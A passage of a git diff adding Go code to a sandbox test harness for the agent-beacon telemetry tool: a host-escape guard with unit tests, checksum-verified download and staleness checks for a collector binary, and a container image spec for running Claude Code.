+ if !strings.Contains(strings.ToLower(line), "beacon") {
+ continue
+ }
+ // Label is the last field; the pid column changes on restart and must not be
+ // treated as a state change.
+ if fields := strings.Fields(line); len(fields) > 0 {
+ out = append(out, fields[len(fields)-1])
+ }
+ }
+ case "linux":
+ b, err := exec.Command("systemctl", "list-units", "--all", "--no-legend", "--plain").Output()
+ if err != nil {
+ return nil, false
+ }
+ for _, line := range strings.Split(string(b), "\n") {
+ if !strings.Contains(strings.ToLower(line), "beacon") {
+ continue
+ }
+ if fields := strings.Fields(line); len(fields) > 0 {
+ out = append(out, fields[0])
+ }
+ }
+ }
+ sort.Strings(out)
+ return out, true
+}
+
+// Diff describes what changed between two snapshots.
+type Diff struct {
+ Changed []string
+ NewServices []string
+ GoneServices []string
+ // ServicesUnverified is true when the service probe could not run on one or both sides, so
+ // no claim is made about services either way.
+ ServicesUnverified bool
+}
+
+// Clean reports whether nothing guarded changed.
+func (d Diff) Clean() bool {
+ return len(d.Changed) == 0 && len(d.NewServices) == 0 && len(d.GoneServices) == 0
+}
+
+// Describe renders the diff for a report.
+// CleanDescription is what Describe returns when nothing changed. Exported because the check
+// layer must distinguish "compared, and clean" from "never compared" -- comparing against a
+// duplicated string literal is how those two silently became the same thing.
+const CleanDescription = "host state unchanged"
+
+// PartialDescription is returned when nothing was seen to change but the service probe could not
+// run, so the service half of the guard is unverified. Distinct from CleanDescription because
+// "nothing changed" and "nothing changed that I could see" are different claims, and the check
+// layer must be able to tell them apart without string-sniffing.
+const PartialDescription = "files unchanged; service probe unavailable, so services are unverified"
+
+func (d Diff) Describe() string {
+ if d.Clean() {
+ if d.ServicesUnverified {
+ return PartialDescription
+ }
+ return CleanDescription
+ }
+ var parts []string
+ for _, c := range d.Changed {
+ parts = append(parts, "modified: "+c)
+ }
+ for _, s := range d.NewServices {
+ parts = append(parts, "service appeared: "+s)
+ }
+ for _, s := range d.GoneServices {
+ parts = append(parts, "service disappeared: "+s)
+ }
+ return strings.Join(parts, "; ")
+}
+
+// Compare diffs two snapshots.
+func Compare(before, after Snapshot) Diff {
+ var d Diff
+ for path, b := range before.Paths {
+ a, ok := after.Paths[path]
+ if ok && a == b {
+ continue
+ }
+ d.Changed = append(d.Changed, fmt.Sprintf("%s (%s -> %s)", path, label(b), label(a)))
+ }
+ sort.Strings(d.Changed)
+
+ beforeSvc := setOf(before.Services)
+ afterSvc := setOf(after.Services)
+ // Only compare services when both snapshots actually probed them. Treating an unavailable
+ // probe as an empty list would report every pre-existing Beacon service as having
+ // disappeared, which is a host-escape finding invented by the guard.
+ if before.ServicesAvailable && after.ServicesAvailable {
+ for s := range afterSvc {
+ if !beforeSvc[s] {
+ d.NewServices = append(d.NewServices, s)
+ }
+ }
+ for s := range beforeSvc {
+ if !afterSvc[s] {
+ d.GoneServices = append(d.GoneServices, s)
+ }
+ }
+ } else {
+ d.ServicesUnverified = true
+ }
+
+ sort.Strings(d.NewServices)
+ sort.Strings(d.GoneServices)
+ return d
+}
+
+func setOf(xs []string) map[string]bool {
+ m := map[string]bool{}
+ for _, x := range xs {
+ m[x] = true
+ }
+ return m
+}
+
+// label makes a digest readable, so "absent -> present" is obvious in a report.
+func label(digest string) string {
+ switch {
+ case digest == "":
+ return "not-snapshotted"
+ case digest == "absent":
+ return "absent"
+ case strings.HasPrefix(digest, "present:"),
+ strings.HasPrefix(digest, "beacon-entries:"),
+ strings.HasPrefix(digest, "stat-error"),
+ strings.HasPrefix(digest, "read-error"),
+ strings.HasPrefix(digest, "readdir-error"):
+ return digest
+ default:
+ if len(digest) > 8 {
+ return "present:" + digest[:8]
+ }
+ return digest
+ }
+}
diff --git a/beacon-sandbox/hostguard/hostguard_test.go b/beacon-sandbox/hostguard/hostguard_test.go
new file mode 100644
index 00000000..6ef814d4
--- /dev/null
+++ b/beacon-sandbox/hostguard/hostguard_test.go
@@ -0,0 +1,278 @@
+package hostguard
+
+import (
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+)
+
+// A guard that cannot detect a change is worse than no guard: it converts "we did not look"
+// into "we verified the host was untouched". But a guard that fires on every run is equally
+// useless, because it gets ignored. These tests pin both edges.
+
+func snap(entries ...guarded) Snapshot {
+ s := Snapshot{ServicesAvailable: true, Paths: map[string]string{}}
+ for _, g := range entries {
+ s.Paths[g.path] = digest(g)
+ }
+ return s
+}
+
+func TestConfigEditIsDetected(t *testing.T) {
+ f := filepath.Join(t.TempDir(), "config.json")
+ if err := os.WriteFile(f, []byte(`{"log_path":"/a"}`), 0o600); err != nil {
+ t.Fatal(err)
+ }
+ g := guarded{f, watchFull}
+
+ before := snap(g)
+ if err := os.WriteFile(f, []byte(`{"log_path":"/b"}`), 0o600); err != nil {
+ t.Fatal(err)
+ }
+ if Compare(before, snap(g)).Clean() {
+ t.Fatal("an edited config file must be detected: that is a local install")
+ }
+}
+
+func TestConfigCreationIsDetectedAndLabelled(t *testing.T) {
+ f := filepath.Join(t.TempDir(), "config.json")
+ g := guarded{f, watchFull}
+
+ before := snap(g)
+ if err := os.WriteFile(f, []byte(`{}`), 0o600); err != nil {
+ t.Fatal(err)
+ }
+ d := Compare(before, snap(g))
+ if d.Clean() {
+ t.Fatal("creating a guarded config must be detected")
+ }
+ if !strings.Contains(d.Describe(), "absent -> present") {
+ t.Errorf("the absent->present transition should be explicit, got %q", d.Describe())
+ }
+}
+
+// The case that made the first version of this guard unusable: the developer's own Beacon
+// collector appends to its log continuously, so log growth must NOT be a failure.
+func TestLogGrowthIsIgnored(t *testing.T) {
+ dir := t.TempDir()
+ logDir := filepath.Join(dir, "logs")
+ if err := os.MkdirAll(logDir, 0o755); err != nil {
+ t.Fatal(err)
+ }
+ logFile := filepath.Join(logDir, "runtime.jsonl")
+ if err := os.WriteFile(logFile, []byte("{\"a\":1}\n"), 0o644); err != nil {
+ t.Fatal(err)
+ }
+ g := guarded{logDir, watchExistence}
+
+ before := snap(g)
+ // Simulate the real collector appending, and a rotated archive appearing.
+ f, err := os.OpenFile(logFile, os.O_APPEND|os.O_WRONLY, 0o644)
+ if err != nil {
+ t.Fatal(err)
+ }
+ f.WriteString(strings.Repeat("{\"b\":2}\n", 500))
+ f.Close()
+ if err := os.WriteFile(filepath.Join(logDir, "runtime.jsonl.1"), []byte("old\n"), 0o644); err != nil {
+ t.Fatal(err)
+ }
+
+ if d := Compare(before, snap(g)); !d.Clean() {
+ t.Fatalf("log growth is the developer's own agent working normally and must not fire: %s",
+ d.Describe())
+ }
+}
+
+// ...but the log directory being *created* is a signal, since that means something installed.
+func TestLogDirCreationIsDetected(t *testing.T) {
+ dir := filepath.Join(t.TempDir(), "beacon-agent")
+ g := guarded{dir, watchExistence}
+
+ before := snap(g)
+ if err := os.MkdirAll(dir, 0o755); err != nil {
+ t.Fatal(err)
+ }
+ if Compare(before, snap(g)).Clean() {
+ t.Fatal("creating a guarded install/log root must be detected")
+ }
+}
+
+func TestExistenceModeChangeIsDetected(t *testing.T) {
+ dir := t.TempDir()
+ sub := filepath.Join(dir, "opt-beacon")
+ if err := os.MkdirAll(sub, 0o755); err != nil {
+ t.Fatal(err)
+ }
+ g := guarded{sub, watchExistence}
+
+ before := snap(g)
+ if err := os.Chmod(sub, 0o700); err != nil {
+ t.Fatal(err)
+ }
+ if Compare(before, snap(g)).Clean() {
+ t.Fatal("a permission change on a guarded root must be detected")
+ }
+}
+
+// Unit/plist directories: a new Beacon service file is the clearest escape signal, while
+// unrelated services churning must be ignored.
+func TestNewBeaconUnitIsDetectedAndUnrelatedIsIgnored(t *testing.T) {
+ dir := t.TempDir()
+ g := guarded{dir, watchBeaconEntries}
+
+ if err := os.WriteFile(filepath.Join(dir, "com.example.other.plist"), []byte("x"), 0o644); err != nil {
+ t.Fatal(err)
+ }
+ before := snap(g)
+
+ // An unrelated service appearing must not fire.
+ if err := os.WriteFile(filepath.Join(dir, "com.vendor.unrelated.plist"), []byte("y"), 0o644); err != nil {
+ t.Fatal(err)
+ }
+ if d := Compare(before, snap(g)); !d.Clean() {
+ t.Fatalf("unrelated services must be ignored, got %s", d.Describe())
+ }
+
+ // A Beacon service appearing must fire.
+ if err := os.WriteFile(filepath.Join(dir, "com.beacon.endpoint.collector.plist"), []byte("z"), 0o644); err != nil {
+ t.Fatal(err)
+ }
+ d := Compare(before, snap(g))
+ if d.Clean() {
+ t.Fatal("a new Beacon unit/plist must be detected")
+ }
+ if !strings.Contains(d.Describe(), "com.beacon.endpoint.collector.plist") {
+ t.Errorf("the diff should name the new unit, got %q", d.Describe())
+ }
+}
+
+func TestServiceAppearanceIsDetected(t *testing.T) {
+ before := Snapshot{ServicesAvailable: true, Paths: map[string]string{}}
+ after := Snapshot{ServicesAvailable: true, Paths: map[string]string{}, Services: []string{"com.beacon.endpoint.collector"}}
+
+ d := Compare(before, after)
+ if d.Clean() {
+ t.Fatal("a newly registered Beacon service must be detected")
+ }
+ if len(d.NewServices) != 1 {
+ t.Errorf("expected the service named, got %v", d.NewServices)
+ }
+}
+
+// A running collector's pid changes on restart; that must not read as a state change, or the
+// guard fires whenever the developer's own service restarts.
+func TestServicePidChurnIsIgnored(t *testing.T) {
+ before := Snapshot{ServicesAvailable: true, Paths: map[string]string{}, Services: []string{"com.beacon.endpoint.collector"}}
+ after := Snapshot{ServicesAvailable: true, Paths: map[string]string{}, Services: []string{"com.beacon.endpoint.collector"}}
+ if !Compare(before, after).Clean() {
+ t.Error("the same service present in both snapshots must be clean")
+ }
+}
+
+func TestUnchangedStateIsClean(t *testing.T) {
+ dir := t.TempDir()
+ f := filepath.Join(dir, "config.json")
+ if err := os.WriteFile(f, []byte(`{}`), 0o600); err != nil {
+ t.Fatal(err)
+ }
+ entries := []guarded{{f, watchFull}, {dir, watchExistence}, {dir, watchBeaconEntries}}
+ if d := Compare(snap(entries...), snap(entries...)); !d.Clean() {
+ t.Fatalf("expected clean, got %s", d.Describe())
+ }
+}
+
+// The guarded set must actually cover what a Beacon install touches, or the guard looks in the
+// wrong place and passes vacuously.
+func TestGuardedPathsCoverBeaconInstallSurface(t *testing.T) {
+ joined := strings.Join(GuardedPaths(), "\n")
+ for _, want := range []string{
+ ".beacon/endpoint/config.json",
+ ".beacon/endpoint/otelcol.yaml",
+ ".claude/settings.json",
+ "/opt/beacon",
+ "/var/log/beacon-agent",
+ } {
+ if !strings.Contains(joined, want) {
+ t.Errorf("guarded paths should cover %q, got:\n%s", want, joined)
+ }
+ }
+}
+
+// Guard against a regression where a real install root gets watched with a content digest
+// again, which is what made this unusable on a machine running Beacon.
+func TestLogAndInstallRootsAreExistenceOnly(t *testing.T) {
+ for _, g := range guardedPaths() {
+ base := filepath.Base(g.path)
+ if base == "beacon-agent" || base == "logs" || g.path == "/opt/beacon" {
+ if g.mode != watchExistence {
+ t.Errorf("%s must be watched existence-only, or the developer's own "+
+ "collector trips the guard on every run", g.path)
+ }
+ }
+ }
+}
+
+// An unavailable service probe used to be encoded as a fake service name, which Compare then
+// treated as a real service appearing or disappearing. On a machine that already runs Beacon
+// services, a flaky launchctl or systemctl therefore produced a host-escape finding manufactured by
+// the guard itself -- on the most serious check this tool has. Cursor Bugbot reported it.
+func TestUnavailableServiceProbeIsNotAnEscape(t *testing.T) {
+ // The developer's machine already runs Beacon services; the probe fails on the second pass.
+ before := Snapshot{ServicesAvailable: true, Paths: map[string]string{},
+ Services: []string{"com.beacon.endpoint.collector"}}
+ after := Snapshot{ServicesAvailable: false, Paths: map[string]string{}}
+
+ d := Compare(before, after)
+
+ if len(d.GoneServices) != 0 {
+ t.Errorf("an unavailable probe must not report services as gone, got %v", d.GoneServices)
+ }
+ if !d.ServicesUnverified {
+ t.Error("the diff should record that services were not verified")
+ }
+ if !d.Clean() {
+ t.Errorf("a failed probe is not evidence of a change, so it must not read as dirty: %q",
+ d.Describe())
+ }
+ // But it must not claim a clean bill of health either.
+ if d.Describe() == CleanDescription {
+ t.Errorf("an unverified service half must not describe itself as fully unchanged: %q",
+ d.Describe())
+ }
+ if d.Describe() != PartialDescription {
+ t.Errorf("Describe = %q, want the partial description", d.Describe())
+ }
+}
+
+// The reverse direction too: a probe that failed first and succeeded later.
+func TestUnavailableBeforeProbeIsAlsoNotAnEscape(t *testing.T) {
+ before := Snapshot{ServicesAvailable: false, Paths: map[string]string{}}
+ after := Snapshot{ServicesAvailable: true, Paths: map[string]string{},
+ Services: []string{"com.beacon.endpoint.collector"}}
+
+ d := Compare(before, after)
+
+ if len(d.NewServices) != 0 {
+ t.Errorf("a service that may have existed all along must not read as new, got %v", d.NewServices)
+ }
+ if !d.ServicesUnverified {
+ t.Error("the diff should record that services were not verified")
+ }
+}
+
+// A real file change still fails even when the service probe was unavailable -- the file half of
+// the guard is independent and must keep working.
+func TestFileChangeStillDetectedWhenServiceProbeFails(t *testing.T) {
+ before := Snapshot{ServicesAvailable: false, Paths: map[string]string{"/x": "aaa"}}
+ after := Snapshot{ServicesAvailable: false, Paths: map[string]string{"/x": "bbb"}}
+
+ d := Compare(before, after)
+
+ if d.Clean() {
+ t.Fatal("a modified guarded path must still be detected")
+ }
+ if d.Describe() == PartialDescription {
+ t.Errorf("a real change must be described, not reported as merely unverified: %q", d.Describe())
+ }
+}
diff --git a/beacon-sandbox/image/artifacts.go b/beacon-sandbox/image/artifacts.go
new file mode 100644
index 00000000..d901491f
--- /dev/null
+++ b/beacon-sandbox/image/artifacts.go
@@ -0,0 +1,445 @@
+package image
+
+import (
+ "archive/tar"
+ "compress/gzip"
+ "crypto/sha256"
+ "encoding/hex"
+ "encoding/json"
+ "fmt"
+ "io"
+ "net/http"
+ "os"
+ "os/exec"
+ "path/filepath"
+ "sort"
+ "strconv"
+ "strings"
+ "time"
+)
+
+// The collector carries the telemetry normalization, so which build you run matters more than it
+// looks: a stale or downloaded collector will not contain local exporter changes, and a run
+// against it silently verifies the wrong code.
+const (
+ collectorRelPath = "collector-builder/dist/beacon-otelcol/linux_amd64/beacon-otelcol"
+ beaconRelPath = "cli/beacon/beacon-linux-amd64"
+
+ // releaseAPI is queried for the newest published tarball. Only used to fill in a missing
+ // collector; nothing here ever fetches the `beacon` CLI, which must come from your tree.
+ releaseAPI = "https://api.github.com/repos/Asymptote-Labs/agent-beacon/releases/latest"
+)
+
+// BeaconPath and CollectorPath report where each artifact is expected.
+func BeaconPath(repoRoot string) string { return filepath.Join(repoRoot, beaconRelPath) }
+func CollectorPath(repoRoot string) string { return filepath.Join(repoRoot, collectorRelPath) }
+
+// BuildBeaconHint is the command that produces the Beacon binary under test.
+const BuildBeaconHint = "cd cli/beacon && make build-linux-amd64"
+
+// EnsureCollector returns the collector path, downloading a released build if absent.
+//
+// Deliberately does not attempt to *build* the collector: that needs the OpenTelemetry Collector
+// Builder and a multi-step invocation, which is the single biggest setup cliff. Published
+// releases ship `beacon-otelcol` inside the Linux tarball, so a download covers everyone who has
+// not modified the exporter.
+func EnsureCollector(repoRoot string, log func(string, ...any)) (string, error) {
+ if log == nil {
+ log = func(string, ...any) {}
+ }
+ dst := CollectorPath(repoRoot)
+ if fi, err := os.Stat(dst); err == nil && fi.Size() > 0 {
+ return dst, nil
+ }
+
+ rel, err := latestLinuxTarball()
+ if err != nil {
+ return "", fmt.Errorf("collector missing at %s and no release could be resolved: %w\n"+
+ "build it instead:\n"+
+ " go install go.opentelemetry.io/collector/cmd/[email protected]\n"+
+ " cd collector-builder && mkdir -p dist && GOOS=linux GOARCH=amd64 CGO_ENABLED=0 \"$(go env GOPATH)/bin/builder\" --config builder.yaml", dst, err)
+ }
+ log("collector not found; downloading beacon-otelcol from release %s", rel.Version)
+ if err := downloadCollector(rel, dst, log); err != nil {
+ return "", fmt.Errorf("download collector from %s: %w", rel.URL, err)
+ }
+ if err := writeProvenance(repoRoot, rel.Version); err != nil {
+ // Not fatal: the binary is usable. But freshness checking degrades without it, so say so.
+ log("warning: could not record collector provenance (%v); freshness checking will be weaker", err)
+ }
+ log("collector ready at %s", dst)
+ return dst, nil
+}
+
+// provenancePath records where the collector binary came from. Without it, a downloaded release
+// binary is indistinguishable from one built from the current tree, which is the difference
+// between "verifies your change" and "verifies last release".
+func provenancePath(repoRoot string) string {
+ return CollectorPath(repoRoot) + ".provenance"
+}
+
+// writeProvenance records the release a binary was downloaded from, together with enough of the
+// binary's identity to tell later whether the marker still describes it.
+//
+// The identity matters more than it looks. A first version recorded only the release tag, and
+// nothing clears the marker when someone rebuilds locally -- which is exactly what the freshness
+// warning tells them to do. CollectorIsStale then kept reporting "downloaded from release X, and
+// collector-builder/ has changed since" forever, so the warning could never be cleared by doing
+// the thing it asked for. A warning that cannot be satisfied trains people to ignore it, which is
+// worse than the false pass it replaced. Reported by Cursor Bugbot.
+func writeProvenance(repoRoot, version string) error {
+ fi, err := os.Stat(CollectorPath(repoRoot))
+ if err != nil {
+ return err
+ }
+ body := fmt.Sprintf("release:%s\nsize:%d\nmtime:%d\n",
+ version, fi.Size(), fi.ModTime().UnixNano())
+ return os.WriteFile(provenancePath(repoRoot), []byte(body), 0o644)
+}
+
+// CollectorIsStale reports whether the on-disk beacon-otelcol may not contain the exporter code
+// in the current tree, and why.
+//
+// The first version only looked at uncommitted `git status` under collector-builder/, which left
+// the two most likely false passes wide open: exporter changes that were already committed, and a
+// binary fetched by `doctor --fix` from a release that predates the branch entirely. Either way
+// `collector_freshness` reported green while the binary under test lacked the change -- exactly
+// the trap this check exists to catch, and the trap that already cost one wasted investigation.
+// Cursor Bugbot flagged the gap.
+//
+// Three signals now, cheapest first:
+//
+// - uncommitted changes under collector-builder/
+// - a downloaded release binary with any collector-builder/ change since that release tag
+// - a locally built binary older than the newest collector-builder/ source file
+func CollectorIsStale(repoRoot string) (bool, string) {
+ if files := uncommittedCollectorChanges(repoRoot); files != "" {
+ return true, "uncommitted changes under collector-builder/: " + files
+ }
+
+ binary := CollectorPath(repoRoot)
+ fi, err := os.Stat(binary)
+ if err != nil {
+ // No binary is a separate check's problem, not a freshness question.
+ return false, ""
+ }
+
+ if tag := recordedRelease(repoRoot); tag != "" {
+ changed, resolved := collectorChangesSince(repoRoot, tag)
+ switch {
+ case resolved && changed != "":
+ return true, fmt.Sprintf("binary was downloaded from release %s, but collector-builder/ "+
+ "has changed since: %s", tag, changed)
+ case resolved:
+ return false, ""
+ default:
+ // The tag cannot be resolved, so drift is unknowable. Reported rather than assumed
+ // clean: "I could not check" must never render as "nothing to check".
+ return true, fmt.Sprintf("binary was downloaded from release %s, which this clone "+
+ "cannot resolve, so drift cannot be checked (try `git fetch --tags`, or rebuild "+
+ "the collector locally)", tag)
+ }
+ }
+
+ // Locally built: a source file newer than the binary means the binary predates it.
+ if newer := sourcesNewerThan(repoRoot, fi.ModTime()); newer != "" {
+ return true, "collector-builder/ sources are newer than the built binary: " + newer
+ }
+ return false, ""
+}
+
+func uncommittedCollectorChanges(repoRoot string) string {
+ out, err := exec.Command("git", "-C", repoRoot, "status", "--porcelain", "--", "collector-builder").Output()
+ if err != nil {
+ return ""
+ }
+ var files []string
+ for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
+ line = strings.TrimSpace(line)
+ if line == "" {
+ continue
+ }
+ // dist/ is the build output itself, so changes there are the *result* of rebuilding,
+ // never a reason to rebuild. Excluded explicitly rather than relying on the repo's
+ // .gitignore: a checkout that does not ignore it would otherwise report the collector
+ // binary as a reason the collector is stale, which is circular and always true.
+ if strings.Contains(line, "collector-builder/dist") {
+ continue
+ }
+ files = append(files, line)
+ }
+ return summarize3(files)
+}
+
+// recordedRelease returns the release tag a downloaded binary came from, empty when the binary was
+// built locally, predates provenance recording, or has been replaced since the marker was written.
+//
+// That last case is the important one: a marker that outlives the binary it described would keep a
+// freshness warning permanently lit after a local rebuild, so the size and mtime recorded at
+// download time are checked against the binary that is actually there now.
+func recordedRelease(repoRoot string) string {
+ b, err := os.ReadFile(provenancePath(repoRoot))
+ if err != nil {
+ return ""
+ }
+ fields := map[string]string{}
+ for _, line := range strings.Split(string(b), "\n") {
+ if k, v, ok := strings.Cut(strings.TrimSpace(line), ":"); ok {
+ fields[k] = v
+ }
+ }
+ tag := strings.TrimSpace(fields["release"])
+ if tag == "" {
+ return ""
+ }
+ fi, err := os.Stat(CollectorPath(repoRoot))
+ if err != nil {
+ return ""
+ }
+ // A marker written before identity was recorded cannot be validated, so it is not trusted.
+ if fields["size"] == "" || fields["mtime"] == "" {
+ return ""
+ }
+ if fields["size"] != strconv.FormatInt(fi.Size(), 10) ||
+ fields["mtime"] != strconv.FormatInt(fi.ModTime().UnixNano(), 10) {
+ // The binary was replaced after the marker was written -- almost certainly a local
+ // rebuild, which is what we asked for. Fall through to the mtime comparison.
+ return ""
+ }
+ return tag
+}
+
+// collectorChangesSince lists collector-builder/ files that changed between a release tag and HEAD,
+// and reports whether the tag could be resolved at all.
+//
+// The distinction is load-bearing. An unresolvable tag used to return an empty list, which the
+// caller read as "no drift" and turned into a confident *fresh* -- skipping the mtime fallback
+// entirely. `doctor --fix` can easily record a tag the local clone does not have yet (no
+// `git fetch --tags`, or a release newer than the checkout), so with exporter changes present the
+// freshness check reported green and a run verified the wrong beacon-otelcol. That is precisely the
+// false pass this check exists to prevent. Reported by Cursor Bugbot.
+func collectorChangesSince(repoRoot, tag string) (changed string, resolved bool) {
+ if err := exec.Command("git", "-C", repoRoot, "rev-parse", "--verify", tag+"^{commit}").Run(); err != nil {
+ return "", false
+ }
+ out, err := exec.Command("git", "-C", repoRoot, "diff", "--name-only", tag+"..HEAD", "--", "collector-builder").Output()
+ if err != nil {
+ return "", false
+ }
+ var files []string
+ for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
+ line = strings.TrimSpace(line)
+ // Same reasoning as the uncommitted signal: dist/ is the build output, so listing it
+ // would report the collector binary as a reason the collector is stale.
+ if line == "" || strings.Contains(line, "collector-builder/dist") {
+ continue
+ }
+ files = append(files, line)
+ }
+ return summarize3(files), true
+}
+
+// sourcesNewerThan lists collector-builder Go/config files modified after the binary was built.
+func sourcesNewerThan(repoRoot string, built time.Time) string {
+ var newer []string
+ root := filepath.Join(repoRoot, "collector-builder")
+ _ = filepath.WalkDir(root, func(p string, d os.DirEntry, err error) error {
+ if err != nil || d.IsDir() {
+ // dist/ holds the build output itself, so walking it would compare the binary
+ // against its own siblings and report churn that means nothing.
+ if err == nil && d != nil && d.IsDir() && d.Name() == "dist" {
+ return filepath.SkipDir
+ }
+ return nil
+ }
+ switch filepath.Ext(p) {
+ case ".go", ".yaml", ".yml", ".mod", ".sum":
+ default:
+ return nil
+ }
+ if fi, err := d.Info(); err == nil && fi.ModTime().After(built) {
+ rel, _ := filepath.Rel(repoRoot, p)
+ newer = append(newer, rel)
+ }
+ return nil
+ })
+ sort.Strings(newer)
+ return summarize3(newer)
+}
+
+func summarize3(files []string) string {
+ if len(files) == 0 {
+ return ""
+ }
+ if len(files) > 3 {
+ files = append(files[:3:3], fmt.Sprintf("… and %d more", len(files)-3))
+ }
+ return strings.Join(files, "; ")
+}
+
+func latestLinuxTarball() (rel releaseAsset, err error) {
+ client := &http.Client{Timeout: 30 * time.Second}
+ resp, err := client.Get(releaseAPI)
+ if err != nil {
+ return releaseAsset{}, err
+ }
+ defer resp.Body.Close()
+ if resp.StatusCode != http.StatusOK {
+ return releaseAsset{}, fmt.Errorf("release API returned %s", resp.Status)
+ }
+ var body struct {
+ TagName string `json:"tag_name"`
+ Assets []struct {
+ Name string `json:"name"`
+ URL string `json:"browser_download_url"`
+ } `json:"assets"`
+ }
+ if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
+ return releaseAsset{}, err
+ }
+ out := releaseAsset{Version: body.TagName}
+ for _, a := range body.Assets {
+ switch {
+ case strings.HasSuffix(a.Name, "_linux_amd64.tar.gz"):
+ out.Name, out.URL = a.Name, a.URL
+ case a.Name == "checksums.txt":
+ out.ChecksumsURL = a.URL
+ }
+ }
+ if out.URL == "" {
+ return releaseAsset{}, fmt.Errorf("no linux_amd64 tarball in release %s", body.TagName)
+ }
+ // Refusing rather than proceeding unverified: this binary gets executed inside the sandbox,
+ // so an unauthenticated download is a supply-chain hole, not a convenience.
+ if out.ChecksumsURL == "" {
+ return releaseAsset{}, fmt.Errorf("release %s publishes no checksums.txt, so the "+
+ "collector download cannot be verified; build it locally instead", body.TagName)
+ }
+ return out, nil
+}
+
+// releaseAsset is the tarball to fetch plus the means to verify it.
+type releaseAsset struct {
+ Version string
+ Name string
+ URL string
+ ChecksumsURL string
+}
+
+// expectedSHA256 pulls one file's digest out of a GoReleaser checksums.txt ("<hex> <name>").
+func expectedSHA256(client *http.Client, checksumsURL, name string) (string, error) {
+ resp, err := client.Get(checksumsURL)
+ if err != nil {
+ return "", err
+ }
+ defer resp.Body.Close()
+ if resp.StatusCode != http.StatusOK {
+ return "", fmt.Errorf("checksums.txt returned %s", resp.Status)
+ }
+ body, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
+ if err != nil {
+ return "", err
+ }
+ for _, line := range strings.Split(string(body), "\n") {
+ f := strings.Fields(line)
+ if len(f) == 2 && f[1] == name {
+ return strings.ToLower(f[0]), nil
+ }
+ }
+ return "", fmt.Errorf("checksums.txt has no entry for %s", name)
+}
+
+// downloadCollector fetches the release tarball, verifies its SHA-256 against the release's own
+// checksums.txt, and only then extracts beacon-otelcol.
+//
+// Verification is not optional even for contributor tooling: this binary is executed inside the
+// sandbox, so accepting whatever the network returned would make a compromised proxy or mirror
+// enough to run arbitrary code. The tarball is buffered to a temp file rather than streamed,
+// because a digest cannot be checked until the whole body has been read and extracting first
+// would defeat the point. Reported by the Copilot reviewer.
+func downloadCollector(rel releaseAsset, dst string, log func(string, ...any)) error {
+ client := &http.Client{Timeout: 10 * time.Minute}
+ want, err := expectedSHA256(client, rel.ChecksumsURL, rel.Name)
+ if err != nil {
+ return fmt.Errorf("resolve expected checksum: %w", err)
+ }
+ resp, err := client.Get(rel.URL)
+ if err != nil {
+ return err
+ }
+ defer resp.Body.Close()
+ if resp.StatusCode != http.StatusOK {
+ return fmt.Errorf("download returned %s", resp.Status)
+ }
+ if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil {
+ return err
+ }
+
+ // Buffer the tarball and hash it as it lands, so the digest can be checked before anything
+ // is extracted from it.
+ tarball, err := os.CreateTemp(filepath.Dir(dst), "beacon-otelcol-*.tar.gz")
+ if err != nil {
+ return err
+ }
+ defer os.Remove(tarball.Name())
+ sum := sha256.New()
+ if _, err := io.Copy(io.MultiWriter(tarball, sum), resp.Body); err != nil {
+ tarball.Close()
+ return err
+ }
+ if err := tarball.Close(); err != nil {
+ return err
+ }
+ got := hex.EncodeToString(sum.Sum(nil))
+ if got != want {
+ return fmt.Errorf("checksum mismatch for %s: release checksums.txt says %s, downloaded "+
+ "bytes hash to %s; refusing to use it", rel.Name, want, got)
+ }
+ log("verified %s against release checksums.txt (sha256 %s…)", rel.Name, got[:12])
+
+ verified, err := os.Open(tarball.Name())
+ if err != nil {
+ return err
+ }
+ defer verified.Close()
+ gz, err := gzip.NewReader(verified)
+ if err != nil {
+ return err
+ }
+ defer gz.Close()
+ tr := tar.NewReader(gz)
+ for {
+ hdr, err := tr.Next()
+ if err == io.EOF {
+ return fmt.Errorf("beacon-otelcol not found in the tarball")
+ }
+ if err != nil {
+ return err
+ }
+ if filepath.Base(hdr.Name) != "beacon-otelcol" || hdr.Typeflag != tar.TypeReg {
+ continue
+ }
+ // Write to a temp file and rename, so an interrupted download never leaves a
+ // truncated binary that would fail confusingly inside the sandbox.
+ tmp := dst + ".partial"
+ f, err := os.OpenFile(tmp, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0o755)
+ if err != nil {
+ return err
+ }
+ if _, err := io.Copy(f, tr); err != nil {
+ // Report both: a close failure here can itself indicate why the copy failed
+ // (a full disk surfaces on either call depending on buffering).
+ closeErr := f.Close()
+ os.Remove(tmp)
+ if closeErr != nil {
+ return fmt.Errorf("%w (and closing %s failed: %v)", err, tmp, closeErr)
+ }
+ return err
+ }
+ if err := f.Close(); err != nil {
+ os.Remove(tmp)
+ return err
+ }
+ return os.Rename(tmp, dst)
+ }
+}
diff --git a/beacon-sandbox/image/image.go b/beacon-sandbox/image/image.go
new file mode 100644
index 00000000..cfa9f693
--- /dev/null
+++ b/beacon-sandbox/image/image.go
@@ -0,0 +1,154 @@
+// Package image defines the environments a scenario runs in.
+//
+// Two layers, so re-running is cheap: a base that changes only when the distro or the
+// pinned Claude Code version changes, and a golden layer carrying the Beacon artifacts
+// under test. The provider caches both by content, so editing Beacon rebuilds only the
+// second.
+package image
+
+import (
+ "fmt"
+ "os"
+ "strings"
+
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/sandbox"
+)
+
+const (
+ // AgentUser is unprivileged on purpose: Claude Code refuses
+ // --dangerously-skip-permissions when running as root.
+ AgentUser = "agent"
+ AgentHome = "/home/agent"
+ WorkDir = "/home/agent/work"
+ BeaconDir = "/opt/beacon/bin"
+
+ // DefaultClaudeVersion pins Claude Code so a verdict is attributable to a specific
+ // build. Empty string means "latest", which makes runs non-reproducible.
+ DefaultClaudeVersion = "2.1.220"
+
+ // DefaultBase is the only distro in the matrix today. M0 established that Modal
+ // offers no arch selection, so this is amd64.
+ DefaultBase = "ubuntu:24.04"
+)
+
+// Spec parameterizes the environment.
+type Spec struct {
+ Base string
+ ClaudeVersion string
+ // RepoRoot locates the Beacon build artifacts.
+ RepoRoot string
+}
+
+// LinuxArtifacts are the binaries the sandbox needs, as host paths.
+type LinuxArtifacts struct {
+ Beacon string
+ Collector string
+}
+
+// Artifacts resolves the Linux build outputs, with actionable errors since these are produced
+// by separate build steps rather than by the sandbox itself.
+//
+// The Beacon binary must come from the working tree -- that is the thing under test. The
